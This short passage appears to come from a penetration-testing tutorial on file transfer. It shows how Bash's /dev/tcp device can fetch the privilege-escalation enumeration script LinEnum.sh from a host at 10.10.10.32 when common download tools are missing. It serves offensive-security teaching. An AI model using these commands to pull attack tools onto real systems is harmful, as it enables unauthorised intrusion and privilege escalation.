There may also be situations where none of the well-known file transfer tools are available. As long as Bash version 2.04 or greater is installed (compiled with --enable-net-redirections), the built-in /dev/TCP device file can be used for simple file downloads.
exec 3<>/dev/tcp/10.10.10.32/80
echo -e "GET /LinEnum.sh HTTP/1.1\\n\\n">&3
cat <&3